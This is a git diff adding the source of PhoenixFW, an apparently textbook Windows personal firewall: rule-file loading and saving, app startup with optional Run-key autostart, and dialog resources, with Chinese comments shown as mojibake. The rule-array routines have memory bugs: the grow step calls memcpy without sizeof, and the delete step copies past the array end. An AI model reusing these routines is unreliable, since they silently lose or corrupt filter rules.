INVALID_HANDLE_VALUE) + { + // дÎļþÍ· + ::WriteFile(m_hFile, &m_header, sizeof(m_header), &dw, NULL); + // дӦÓòã¹ýÂ˹æÔò + if(m_header.ulLspRuleCount > 0) + { + ::WriteFile(m_hFile, + m_pLspRules, m_header.ulLspRuleCount * sizeof(RULE_ITEM), &dw, NULL); + } + // дºËÐIJã¹ýÂ˹æÔò + if(m_header.ulKerRuleCount > 0) + { + ::WriteFile(m_hFile, + m_pKerRules, m_header.ulKerRuleCount * sizeof(PassthruFilter), &dw, NULL); + } + + ::CloseHandle(m_hFile); + m_hFile = INVALID_HANDLE_VALUE; + return TRUE; + } + return FALSE; +} + +BOOL CPRuleFile::OpenFile() +{ + // Ê×Ïȱ£Ö¤ÎļþÒѾ­´æÔÚ + if(::GetFileAttributes(m_szPathName) == -1) + { + InitFileData(); + if(!WriteRules(m_szPathName)) + return FALSE; + } + // Èç¹ûûÓйرգ¬¾Í¹Ø±Õ + if(m_hFile != INVALID_HANDLE_VALUE) + ::CloseHandle(m_hFile); + + // ÒÔÖ»¶Á·½Ê½´ò¿ªÎļþ + m_hFile = ::CreateFile(m_szPathName, GENERIC_READ, + FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + + return m_hFile != INVALID_HANDLE_VALUE; +} + +/////////////////////////////////////////////////////////////////////////////////////// +// ½Ó¿Ú³ÉÔ± + +BOOL CPRuleFile::LoadRules() +{ + // ÏÈ´ò¿ªÎļþ + if((!OpenFile()) || (::SetFilePointer(m_hFile, 0, NULL, FILE_BEGIN) == -1)) + return FALSE; + + // ´ÓÎļþÖжÁÈ¡Êý¾Ý + DWORD dw = 0; + do + { + // ¶ÁÎļþÍ· + ::ReadFile(m_hFile, &m_header, sizeof(m_header), &dw, NULL); + // Èç¹ûÇ©Ãû²»ÕýÈ·£¬Í˳ö + if((dw != sizeof(m_header)) || + (_tcscmp(m_header.szSignature, RULE_HEADER_SIGNATURE) != 0)) + break; + + // ¶ÁÓ¦Óòã¹ýÂ˹æÔò + if(m_header.ulLspRuleCount > 0) + { + if(m_header.ulLspRuleCount > (ULONG)m_nLspMaxCount) + { + m_nLspMaxCount = m_header.ulLspRuleCount; + delete[] m_pLspRules; + m_pLspRules = new RULE_ITEM[m_nLspMaxCount]; + } + if(!::ReadFile(m_hFile, m_pLspRules, + m_header.ulLspRuleCount * sizeof(RULE_ITEM), &dw, NULL)) + break; + } + + // ¶ÁºËÐIJã¹ýÂ˹æÔò + if(m_header.ulKerRuleCount > 0) + { + if(m_header.ulKerRuleCount > (ULONG)m_nKerMaxCount) + { + m_nKerMaxCount = m_header.ulKerRuleCount; + delete[] m_pKerRules; + m_pKerRules = new PassthruFilter[m_nKerMaxCount]; + } + if(!::ReadFile(m_hFile, m_pKerRules, + m_header.ulKerRuleCount * sizeof(PassthruFilter), &dw, NULL)) + break; + } + + m_bLoad = TRUE; + } + while(FALSE); + + ::CloseHandle(m_hFile); + m_hFile = INVALID_HANDLE_VALUE; + + return m_bLoad; +} + +BOOL CPRuleFile::SaveRules() +{ + // Èç¹ûûÓмÓÔØ£¬Í˳ö + if(!m_bLoad) + return FALSE; + // ±£´æ¹æÔò + return WriteRules(m_szPathName); +} + +BOOL CPRuleFile::AddLspRules(RULE_ITEM *pItem, int nCount) +{ + if((pItem == NULL) || !m_bLoad) + return FALSE; + + // Ê×Ïȱ£Ö¤ÓÐ×ã¹»´óµÄÄÚ´æ¿Õ¼ä + if(m_header.ulLspRuleCount + nCount > (ULONG)m_nLspMaxCount) + { + m_nLspMaxCount = 2*(m_header.ulLspRuleCount + nCount); + + RULE_ITEM *pTmp = new RULE_ITEM[m_header.ulLspRuleCount]; + memcpy(pTmp, m_pLspRules, m_header.ulLspRuleCount); + + delete[] m_pLspRules; + m_pLspRules = new RULE_ITEM[m_nLspMaxCount]; + memcpy(m_pLspRules, pTmp, m_header.ulLspRuleCount); + delete[] pTmp; + } + // Ìí¼Ó¹æÔò + memcpy(m_pLspRules + m_header.ulLspRuleCount, pItem, nCount * sizeof(RULE_ITEM)); + m_header.ulLspRuleCount += nCount; + return TRUE; +} + +BOOL CPRuleFile::AddKerRules(PassthruFilter *pItem, int nCount) +{ + if((pItem == NULL) || !m_bLoad) + return FALSE; + + // Ê×Ïȱ£Ö¤ÓÐ×ã¹»´óµÄÄÚ´æ¿Õ¼ä + if(m_header.ulKerRuleCount + nCount > (ULONG)m_nKerMaxCount) + { + m_nKerMaxCount = 2*(m_header.ulKerRuleCount + nCount); + + PassthruFilter *pTmp = new PassthruFilter[m_header.ulKerRuleCount]; + memcpy(pTmp, m_pKerRules, m_header.ulKerRuleCount); + + delete[] m_pKerRules; + m_pKerRules = new PassthruFilter[m_nKerMaxCount]; + memcpy(m_pKerRules, pTmp, m_header.ulKerRuleCount); + delete[] pTmp; + } + // Ìí¼Ó¹æÔò + memcpy(m_pKerRules + m_header.ulKerRuleCount, pItem, nCount * sizeof(PassthruFilter)); + m_header.ulKerRuleCount += nCount; + return TRUE; +} + +BOOL CPRuleFile::DelLspRule(int nIndex) +{ + if(((ULONG)nIndex >= m_header.ulLspRuleCount) || !m_bLoad) + return FALSE; + // ɾ³ýÒ»¸ö³ÉÔ± + memcpy(&m_pLspRules[nIndex], + &m_pLspRules[nIndex + 1], (m_header.ulLspRuleCount - nIndex) * sizeof(RULE_ITEM)); + + m_header.ulLspRuleCount --; + return TRUE; +} + +BOOL CPRuleFile::DelKerRule(int nIndex) +{ + if(((ULONG)nIndex >= m_header.ulKerRuleCount) || !m_bLoad) + return FALSE; + // ɾ³ýÒ»¸ö³ÉÔ± + memcpy(&m_pKerRules[nIndex], + &m_pKerRules[nIndex + 1], (m_header.ulKerRuleCount - nIndex) * sizeof(PassthruFilter)); + + m_header.ulKerRuleCount --; + return TRUE; +} diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PRuleFile.h" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PRuleFile.h" new file mode 100644 index 0000000..cf5df05 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PRuleFile.h" @@ -0,0 +1,54 @@ +////////////////////////////////////// +// PRuleFile.h + +// ¹æÔòÎļþ + +#include "../common/TypeStruct.h" +#include "../common/PMacRes.h" + +// ´Ó½«¹æÔò´ÓÎļþ¶Á³ö£¬±£´æµ½CPRuleFile¶ÔÏóÖС£ÔÙ×öÏà·´µÄ¶¯×÷ +// Phoenix Personal firewall + +#ifndef __PRULEFILE_H__ +#define __PRULEFILE_H__ + +class CPRuleFile +{ +public: + CPRuleFile(); + ~CPRuleFile(); + + // ´ÓÎļþ¼ÓÔعýÂ˹æÔò + BOOL LoadRules(); + // ½«¹ýÂ˹æÔò±£´æµ½Îļþ + BOOL SaveRules(); + + // Ìí¼ÓnCount¸öÓ¦Óò㣨ºËÐIJ㣩¹ýÂ˹æÔò + BOOL AddLspRules(RULE_ITEM *pItem, int nCount); + BOOL AddKerRules(PassthruFilter *pItem, int nCount); + + // ɾ³ýÒ»¸öÓ¦Óò㣨ºËÐIJ㣩¹ýÂ˹æÔò + BOOL DelLspRule(int nIndex); + BOOL DelKerRule(int nIndex); + + // ÎļþÊý¾Ý + RULE_FILE_HEADER m_header; // ÎļþÍ· + RULE_ITEM *m_pLspRules; // Ó¦Óòã¹æÔòÖ¸Õë + PassthruFilter *m_pKerRules; // ºËÐIJã¹æÔòÖ¸Õë + +private: + // ³õʼ»¯ÎļþÊý¾Ý + void InitFileData(); + // ´ò¿ª´ÅÅÌÎļþ£¬Èç¹ûûÓлá×Ô¶¯´´½¨£¬²¢½øÐгõʼ»¯ + BOOL OpenFile(); + // ½«¹æÔò±£´æµ½Ö¸¶¨Îļþ + BOOL WriteRules(TCHAR *pszPathName); + + HANDLE m_hFile; + TCHAR m_szPathName[MAX_PATH]; + int m_nLspMaxCount; + int m_nKerMaxCount; + BOOL m_bLoad; +}; + +#endif // __PRULEFILE_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.cpp" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.cpp" new file mode 100644 index 0000000..b41264e --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.cpp" @@ -0,0 +1,158 @@ +// PhoenixFW.cpp : Defines the class behaviors for the application. +// + +#include "stdafx.h" +#include "PhoenixFW.h" +#include "PhoenixFWDlg.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif + +///////////////////////////////////////////////////////////////////////////// +// CPhoenixApp + +BEGIN_MESSAGE_MAP(CPhoenixApp, CWinApp) + //{{AFX_MSG_MAP(CPhoenixApp) + // NOTE - the ClassWizard will add and remove mapping macros here. + // DO NOT EDIT what you see in these blocks of generated code! + //}}AFX_MSG + ON_COMMAND(ID_HELP, CWinApp::OnHelp) +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CPhoenixApp construction + +CPhoenixApp::CPhoenixApp() +{ + // TODO: add construction code here, + // Place all significant initialization in InitInstance +} + +CPhoenixApp theApp; + +CPRuleFile g_RuleFile; // ¹ÜÀí¹æÔòÎļþ +CPIOControl *g_pIoControl = NULL; // ¹ÜÀíDLL¹²ÏíÊý¾Ý + +BOOL CPhoenixApp::InitInstance() +{ + // ÔËÐÐÒ»´Î + TCHAR szModule[] = L"PhoenixFW"; + m_hSemaphore = ::CreateSemaphore(NULL, 0, 1, szModule); + if(::GetLastError() == ERROR_ALREADY_EXISTS) + { + AfxMessageBox(L" ÒѾ­ÓÐÒ»¸öʵÀýÔÚÔËÐУ¡"); + return FALSE; + } + + // ¼ÓÔعýÂËÎļþ + if(!g_RuleFile.LoadRules()) + { + AfxMessageBox(L" ¼ÓÔØÅäÖÃÎļþ³ö´í£¡"); + return FALSE; + } + + // ´´½¨DLL I/O¿ØÖƶÔÏ󣬼ÓÔØDLLÄ£¿é + g_pIoControl = new CPIOControl; + // Ó¦ÓÃÎļþÖеÄÊý¾Ý£¬ÉèÖÃÓ¦ÓòãºÍºËÐIJã¹ýÂ˹æÔò + ApplyFileData(); + + ////////////////////////////// + + AfxEnableControlContainer(); + + // Standard initialization + // If you are not using these features and wish to reduce the size + // of your final executable, you should remove from the following + // the specific initialization routines you do not need. + +#ifdef _AFXDLL + Enable3dControls(); // Call this when using MFC in a shared DLL +#else + Enable3dControlsStatic(); // Call this when linking to MFC statically +#endif + + CMainDlg dlg; + m_pMainWnd = &dlg; + int nResponse = dlg.DoModal(); + if (nResponse == IDOK) + { + // TODO: Place code here to handle when the dialog is + // dismissed with OK + } + else if (nResponse == IDCANCEL) + { + // TODO: Place code here to handle when the dialog is + // dismissed with Cancel + } + return FALSE; +} + +int CPhoenixApp::ExitInstance() +{ + if(g_pIoControl != NULL) + { + g_pIoControl->SetWorkMode(PF_PASS_ALL); + g_pIoControl->SetPhoenixInstance(NULL, L""); + delete g_pIoControl; + } + IMClearRules(); + ::CloseHandle(m_hSemaphore); + return CWinApp::ExitInstance(); +} + +BOOL CPhoenixApp::SetAutoStart(BOOL bStart) +{ + // ¸ù¼ü¡¢×Ó¼üÃû³Æ¡¢ºÍµ½×Ó¼üµÄ¾ä±ú + HKEY hRoot = HKEY_LOCAL_MACHINE; + TCHAR *szSubKey = L"Software\\Microsoft\\Windows\\CurrentVersion\\Run"; + HKEY hKey; + + // ´ò¿ªÖ¸¶¨×Ó¼ü + DWORD dwDisposition = REG_OPENED_EXISTING_KEY; // Èç¹û²»´æÔÚ²»´´½¨ + LONG lRet = ::RegCreateKeyEx(hRoot, szSubKey, 0, NULL, + REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition); + if(lRet != ERROR_SUCCESS) + return FALSE; + + if(bStart) + { + // µÃµ½µ±Ç°Ö´ÐÐÎļþµÄÎļþÃû£¨°üº¬Â·¾¶£© + char szModule[MAX_PATH] ; + ::GetModuleFileNameA(NULL, szModule, MAX_PATH); + // ´´½¨Ò»¸öеļüÖµ£¬ÉèÖüüÖµÊý¾ÝΪÎļþÃû + lRet = ::RegSetValueExA(hKey, "PhoenixFW", 0, REG_SZ, (BYTE*)szModule, strlen(szModule)); + } + else + { + // ɾ³ý±¾³ÌÐòµÄ¼üÖµ + lRet = ::RegDeleteValueA(hKey, "PhoenixFW"); + } + + // ¹Ø±Õ×Ó¼ü¾ä±ú + ::RegCloseKey(hKey); + return lRet == ERROR_SUCCESS; +} + +BOOL CPhoenixApp::ApplyFileData() +{ + // ÉèÖù¤×÷ģʽ + g_pIoControl->SetWorkMode(g_RuleFile.m_header.ucLspWorkMode); + + // ÉèÖÃÓ¦Óòã¹æÔòÎļþ + g_pIoControl->SetRuleFile(&g_RuleFile.m_header, g_RuleFile.m_pLspRules); + + // ÉèÖúËÐIJã¹æÔòÎļþ + IMClearRules(); + if(g_RuleFile.m_header.ucKerWorkMode == IM_START_FILTER) + { + if(!IMSetRules(g_RuleFile.m_pKerRules, g_RuleFile.m_header.ulKerRuleCount)) + { + AfxMessageBox(L" ÉèÖúËÐIJã¹æÔò³ö´í£¡\n"); + return FALSE; + } + } + return TRUE; +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.h" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.h" new file mode 100644 index 0000000..1f4498d --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.h" @@ -0,0 +1,56 @@ +// PhoenixFW.h : main header file for the PHOENIXFW application +// + +#if !defined(AFX_PHOENIXFW_H__CFE3B11F_FE91_417C_97CA_EEC655927041__INCLUDED_) +#define AFX_PHOENIXFW_H__CFE3B11F_FE91_417C_97CA_EEC655927041__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + +#ifndef __AFXWIN_H__ + #error include 'stdafx.h' before including this file for PCH +#endif + +#include "resource.h" // main symbols + +///////////////////////////////////////////////////////////////////////////// +// CPhoenixApp: +// See PhoenixFW.cpp for the implementation of this class +// + +class CPhoenixApp : public CWinApp +{ +protected: + HANDLE m_hSemaphore; + +public: + CPhoenixApp(); + + static BOOL SetAutoStart(BOOL bStart); + static BOOL ApplyFileData(); + +// Overrides + // ClassWizard generated virtual function overrides + //{{AFX_VIRTUAL(CPhoenixApp) + public: + virtual BOOL InitInstance(); + virtual int ExitInstance(); + //}}AFX_VIRTUAL + +// Implementation + + //{{AFX_MSG(CPhoenixApp) + // NOTE - the ClassWizard will add and remove member functions here. + // DO NOT EDIT what you see in these blocks of generated code ! + //}}AFX_MSG + DECLARE_MESSAGE_MAP() +}; + + +///////////////////////////////////////////////////////////////////////////// + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_PHOENIXFW_H__CFE3B11F_FE91_417C_97CA_EEC655927041__INCLUDED_) diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.rc" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.rc" new file mode 100644 index 0000000..675133b --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.rc" @@ -0,0 +1,396 @@ +//Microsoft Developer Studio generated resource script. +// +#include "resource.h" + +#define APSTUDIO_READONLY_SYMBOLS +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 2 resource. +// +#include "afxres.h" + +///////////////////////////////////////////////////////////////////////////// +#undef APSTUDIO_READONLY_SYMBOLS + +///////////////////////////////////////////////////////////////////////////// +// Chinese (P.R.C.) resources + +#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS) +#ifdef _WIN32 +LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED +#pragma code_page(936) +#endif //_WIN32 + +#ifdef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// TEXTINCLUDE +// + +1 TEXTINCLUDE DISCARDABLE +BEGIN + "resource.h\0" +END + +2 TEXTINCLUDE DISCARDABLE +BEGIN + "#include ""afxres.h""\r\n" + "\0" +END + +3 TEXTINCLUDE DISCARDABLE +BEGIN + "#define _AFX_NO_SPLITTER_RESOURCES\r\n" + "#define _AFX_NO_OLE_RESOURCES\r\n" + "#define _AFX_NO_TRACKER_RESOURCES\r\n" + "#define _AFX_NO_PROPERTY_RESOURCES\r\n" + "\r\n" + "#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)\r\n" + "#ifdef _WIN32\r\n" + "LANGUAGE 4, 2\r\n" + "#pragma code_page(936)\r\n" + "#endif //_WIN32\r\n" + "#include ""res\\PhoenixFW.rc2"" // non-Microsoft Visual C++ edited resources\r\n" + "#include ""l.chs\\afxres.rc"" // Standard components\r\n" + "#endif\r\n" + "\0" +END + +#endif // APSTUDIO_INVOKED + + +///////////////////////////////////////////////////////////////////////////// +// +// Icon +// + +// Icon with lowest ID value placed first to ensure application icon +// remains consistent on all systems. +IDR_MAINFRAME ICON DISCARDABLE "res\\PhoenixFW.ico" + +///////////////////////////////////////////////////////////////////////////// +// +// Dialog +// + +IDD_ABOUTBOX DIALOG DISCARDABLE 0, 0, 235, 55 +STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU +CAPTION "¹ØÓÚ PhoenixFW" +FONT 9, "ËÎÌå" +BEGIN + ICON IDR_MAINFRAME,IDC_STATIC,11,17,20,20 + LTEXT "PhoenixFW 1.0 °æ",IDC_STATIC,40,10,119,8,SS_NOPREFIX + LTEXT "°æȨËùÓÐ (C) 2005",IDC_STATIC,40,25,119,8 + DEFPUSHBUTTON "È·¶¨",IDOK,178,7,50,14,WS_GROUP +END + +IDD_PHOENIXFW_DIALOG DIALOGEX 0, 0, 372, 215 +STYLE DS_MODALFRAME | WS_MINIMIZEBOX | WS_POPUP | WS_VISIBLE | WS_CAPTION | + WS_SYSMENU +EXSTYLE WS_EX_APPWINDOW +CAPTION "½ðÓð£¨Phoenix£©¸öÈË·À»ðǽ" +FONT 9, "ËÎÌå" +BEGIN + DEFPUSHBUTTON "È·¶¨",IDOK,202,193,50,14 + PUSHBUTTON "È¡Ïû",IDC_ANNUL,260,193,50,14 + PUSHBUTTON "Ó¦ÓÃ",IDC_APPLY,314,193,50,14 +END + +IDD_SYSSET DIALOG DISCARDABLE 0, 0, 274, 143 +STYLE WS_CHILD | WS_CAPTION +CAPTION "ϵͳÉèÖÃ" +FONT 9, "ËÎÌå" +BEGIN + PUSHBUTTON "°²×°",IDC_INSTALL,26,23,50,14 + PUSHBUTTON "жÔØ",IDC_REMOVE,98,23,50,14 + CONTROL "ÉèÖÿª»ú×Ô¶¯Æô¶¯",IDC_AUTOSTART,"Button", + BS_AUTOCHECKBOX | WS_TABSTOP,26,48,83,10 + CONTROL "·ÅÐÐËùÓÐ",IDC_PASS_ALL,"Button",BS_AUTORADIOBUTTON,26, + 84,48,10 + CONTROL "ѯÎÊ",IDC_QUERY_ALL,"Button",BS_AUTORADIOBUTTON,98,84, + 32,10 + CONTROL "¾Ü¾øËùÓÐ",IDC_DENY_ALL,"Button",BS_AUTORADIOBUTTON,162, + 84,48,10 + CONTROL "",IDC_STATIC,"Static",SS_ETCHEDFRAME,12,77,236,2 + LTEXT "Óû§²ã¹¤×÷ģʽÉèÖãº",IDC_STATIC,16,67,81,8 + LTEXT "ºËÐIJ㹤×÷ģʽÉèÖãº",IDC_STATIC,14,103,81,8 + CONTROL "",IDC_STATIC,"Static",SS_ETCHEDFRAME,12,114,236,2 + CONTROL "·ÅÐÐËùÓÐ",IDC_KERPASS_ALL,"Button",BS_AUTORADIOBUTTON, + 26,119,48,10 + CONTROL "¿ªÆô¹ýÂË",IDC_KERSTART_FILTER,"Button", + BS_AUTORADIOBUTTON,98,119,48,10 + CONTROL "",IDC_STATIC,"Static",SS_ETCHEDFRAME,12,17,236,2 + LTEXT "¹«¹²ÉèÖãº",IDC_STATIC,15,7,41,8 +END + +IDD_RULE_CONTROL DIALOGEX 0, 0, 357, 161 +STYLE WS_CHILD | WS_CAPTION +CAPTION "Ó¦Óòã¹ýÂ˹æÔò" +FONT 9, "ËÎÌå", 0, 0, 0x1 +BEGIN + CONTROL "List1",IDC_RULES,"SysListView32",LVS_REPORT | + LVS_SINGLESEL | LVS_SHOWSELALWAYS | WS_BORDER | + WS_TABSTOP,0,25,357,136,WS_EX_CLIENTEDGE + PUSHBUTTON "Ìí¼Ó",IDC_ADD,191,10,50,14 + PUSHBUTTON "ɾ³ý",IDC_DEL,301,10,50,14 + PUSHBUTTON "±à¼­",IDC_EDIT,246,10,50,14 + LTEXT "Ó¦ÓóÌÐòȨÏÞ¹æÔò£º",IDC_STATIC,9,12,74,8 +END + +IDD_MONITOR DIALOG DISCARDABLE 0, 0, 357, 161 +STYLE WS_CHILD | WS_CAPTION +CAPTION "ÍøÂç·ÃÎʼàÊÓ" +FONT 9, "ËÎÌå" +BEGIN + LTEXT "״̬ÁÐ±í£º",IDC_STATIC,11,13,41,8 + CONTROL "Tree1",IDC_TREEMONITOR,"SysTreeView32",TVS_HASBUTTONS | + TVS_HASLINES | TVS_LINESATROOT | WS_BORDER | WS_TABSTOP, + 0,29,357,132 +END + +IDD_RULE DIALOG DISCARDABLE 0, 0, 256, 209 +STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU +CAPTION "Ìí¼ÓÓ¦Óòã¹æÔò" +FONT 9, "ËÎÌå" +BEGIN + DEFPUSHBUTTON "È·¶¨",IDOK,143,190,50,14 + PUSHBUTTON "È¡Ïû",IDCANCEL,199,190,50,14 + LTEXT "Ó¦ÓóÌÐò£º",IDC_STATIC,11,45,41,8 + COMBOBOX IDC__APPLICATION,59,41,159,65,CBS_DROPDOWN | CBS_SORT | + WS_VSCROLL | WS_TABSTOP + PUSHBUTTON "...",IDC_BROWSER,224,42,22,12 + LTEXT "ʵʩ¶¯×÷£º",IDC_STATIC,11,74,41,8 + COMBOBOX IDC_ACTION,59,70,159,51,CBS_DROPDOWN | CBS_SORT | + WS_VSCROLL | WS_TABSTOP + LTEXT "½ø³ö·½Ïò£º",IDC_STATIC,11,59,41,8 + COMBOBOX IDC_DIRECTION,59,55,159,65,CBS_DROPDOWN | CBS_SORT | + WS_VSCROLL | WS_TABSTOP + LTEXT "·þÎñÀàÐÍ£º",IDC_STATIC,13,124,43,10 + COMBOBOX IDC_TYPE,59,121,160,97,CBS_DROPDOWN | CBS_SORT | + WS_VSCROLL | WS_TABSTOP + LTEXT "·þÎñ¶Ë¿Ú£º",IDC_STATIC,13,139,41,9 + EDITTEXT IDC_PORT,59,136,159,14,ES_AUTOHSCROLL + EDITTEXT IDC_MEMO,59,151,159,15,ES_AUTOHSCROLL + LTEXT "±¸×¢£º",IDC_STATIC,14,155,38,10 + LTEXT "»ù±¾ÉèÖÃ",IDC_RULE_TITLE,13,12,242,16 + CONTROL "",IDC_STATIC,"Static",SS_ETCHEDFRAME,9,31,236,2 + LTEXT "¸ß¼¶ÉèÖÃ",IDC_STATIC,15,97,44,9 + CONTROL "",IDC_STATIC,"Static",SS_ETCHEDFRAME,9,112,236,2 + CONTROL "",IDC_STATIC,"Static",SS_ETCHEDFRAME,11,184,236,2 +END + +IDD_KERRULE_CONTROL DIALOGEX 0, 0, 357, 161 +STYLE WS_CHILD | WS_CAPTION +CAPTION "ºËÐIJã¹ýÂ˹æÔò" +FONT 9, "ËÎÌå" +BEGIN + CONTROL "List1",IDC_KERRULES,"SysListView32",LVS_REPORT | + LVS_SINGLESEL | LVS_SHOWSELALWAYS | WS_BORDER | + WS_TABSTOP,0,28,357,133,WS_EX_CLIENTEDGE + LTEXT "¹ýÂ˹æÔòÉèÖãº",IDC_STATIC,10,14,74,8 + PUSHBUTTON "Ìí¼Ó",IDC_KERADD,191,10,50,14 + PUSHBUTTON "ɾ³ý",IDC_KERDEL,301,10,50,14 + PUSHBUTTON "±à¼­",IDC_KEREDIT,246,10,50,14 +END + +IDD_KERRULE DIALOG DISCARDABLE 0, 0, 222, 237 +STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU +CAPTION "Ìí¼ÓºËÐIJã¹æÔò" +FONT 9, "ËÎÌå" +BEGIN + LTEXT "IPµØÖ·Öµ :",IDC_STATIC,21,90,41,8 + GROUPBOX "»ù±¾ÉèÖÃ",IDC_STATIC,7,7,207,48 + LTEXT "ЭÒéÀàÐÍ :",IDC_STATIC,21,23,41,8 + LTEXT "ʵʩ¶¯×÷ :",IDC_STATIC,21,37,41,8 + COMBOBOX IDC_RULE_PROTOCOL,95,19,103,136,CBS_DROPDOWN | CBS_SORT | + WS_VSCROLL | WS_TABSTOP + COMBOBOX IDC_RULE_ACTION,95,33,103,86,CBS_DROPDOWN | CBS_SORT | + WS_VSCROLL | WS_TABSTOP + GROUPBOX "ÍøÂçÉèÖÃ",IDC_STATIC,7,61,206,144 + GROUPBOX "Ô´¶ËÍøÂ緶Χ",IDC_STATIC,16,75,191,60 + LTEXT "IPÑÚλÂë :",IDC_STATIC,21,103,41,8 + LTEXT "¶Ë¿ÚºÅÂë :",IDC_STATIC,21,116,41,8 + CONTROL "IPAddress1",IDC_SOURCE_IP,"SysIPAddress32",WS_TABSTOP, + 95,86,103,12 + CONTROL "IPAddress2",IDC_SOURCE_MASK,"SysIPAddress32",WS_TABSTOP, + 95,99,103,12 + EDITTEXT IDC_SOURCE_PORT,95,112,103,12,ES_AUTOHSCROLL | ES_NUMBER + LTEXT "IPµØÖ·Öµ :",IDC_STATIC,21,155,41,8 + GROUPBOX "Ä¿µÄ¶ËÍøÂ緶Χ",IDC_STATIC,15,140,191,60 + LTEXT "IPÑÚλÂë :",IDC_STATIC,21,168,41,8 + LTEXT "¶Ë¿ÚºÅÂë :",IDC_STATIC,21,181,41,8 + CONTROL "IPAddress1",IDC_DEST_IP,"SysIPAddress32",WS_TABSTOP,95, + 151,103,12 + CONTROL "IPAddress2",IDC_DEST_MASK,"SysIPAddress32",WS_TABSTOP, + 95,164,103,12 + EDITTEXT IDC_DEST_PORT,95,177,103,12,ES_AUTOHSCROLL | ES_NUMBER + DEFPUSHBUTTON "È·¶¨",IDOK,109,218,50,14 + PUSHBUTTON "È¡Ïû",IDCANCEL,165,218,50,14 +END + + +#ifndef _MAC +///////////////////////////////////////////////////////////////////////////// +// +// Version +// + +VS_VERSION_INFO VERSIONINFO + FILEVERSION 2,0,0,1 + PRODUCTVERSION 2,0,0,1 + FILEFLAGSMASK 0x3fL +#ifdef _DEBUG + FILEFLAGS 0x1L +#else + FILEFLAGS 0x0L +#endif + FILEOS 0x4L + FILETYPE 0x1L + FILESUBTYPE 0x0L +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "080404b0" + BEGIN + VALUE "Comments", "\0" + VALUE "CompanyName", "\0" + VALUE "FileDescription", "PhoenixFW Microsoft »ù´¡ÀàÓ¦ÓóÌÐò\0" + VALUE "FileVersion", "2, 0, 0, 1\0" + VALUE "InternalName", "PhoenixFW\0" + VALUE "LegalCopyright", "°æȨËùÓÐ (C) 2005\0" + VALUE "LegalTrademarks", "\0" + VALUE "OriginalFilename", "PhoenixFW.EXE\0" + VALUE "PrivateBuild", "\0" + VALUE "ProductName", "PhoenixFW Ó¦ÓóÌÐò\0" + VALUE "ProductVersion", "2, 0, 0, 1\0" + VALUE "SpecialBuild", "\0" + END + END + BLOCK "VarFileInfo" + BEGIN + VALUE "Translation", 0x804, 1200 + END +END + +#endif // !_MAC + + +///////////////////////////////////////////////////////////////////////////// +// +// DESIGNINFO +// + +#ifdef APSTUDIO_INVOKED +GUIDELINES DESIGNINFO DISCARDABLE +BEGIN + IDD_ABOUTBOX, DIALOG + BEGIN + LEFTMARGIN, 7 + RIGHTMARGIN, 228 + TOPMARGIN, 7 + BOTTOMMARGIN, 48 + END + + IDD_PHOENIXFW_DIALOG, DIALOG + BEGIN + LEFTMARGIN, 7 + RIGHTMARGIN, 365 + TOPMARGIN, 7 + BOTTOMMARGIN, 208 + END + + IDD_SYSSET, DIALOG + BEGIN + LEFTMARGIN, 7 + RIGHTMARGIN, 267 + TOPMARGIN, 7 + BOTTOMMARGIN, 136 + END + + IDD_RULE_CONTROL, DIALOG + BEGIN + LEFTMARGIN, 7 + RIGHTMARGIN, 350 + TOPMARGIN, 7 + BOTTOMMARGIN, 154 + END + + IDD_MONITOR, DIALOG + BEGIN + LEFTMARGIN, 7 + RIGHTMARGIN, 350 + TOPMARGIN, 7 + BOTTOMMARGIN, 154 + END + + IDD_RULE, DIALOG + BEGIN + LEFTMARGIN, 7 + RIGHTMARGIN, 249 + TOPMARGIN, 7 + BOTTOMMARGIN, 202 + END + + IDD_KERRULE_CONTROL, DIALOG + BEGIN + LEFTMARGIN, 7 + RIGHTMARGIN, 350 + TOPMARGIN, 7 + BOTTOMMARGIN, 154 + END + + IDD_KERRULE, DIALOG + BEGIN + LEFTMARGIN, 7 + RIGHTMARGIN, 218 + TOPMARGIN, 7 + BOTTOMMARGIN, 230 + END +END +#endif // APSTUDIO_INVOKED + + +///////////////////////////////////////////////////////////////////////////// +// +// Bitmap +// + +IDB_ADAPTER_BITMAP BITMAP DISCARDABLE 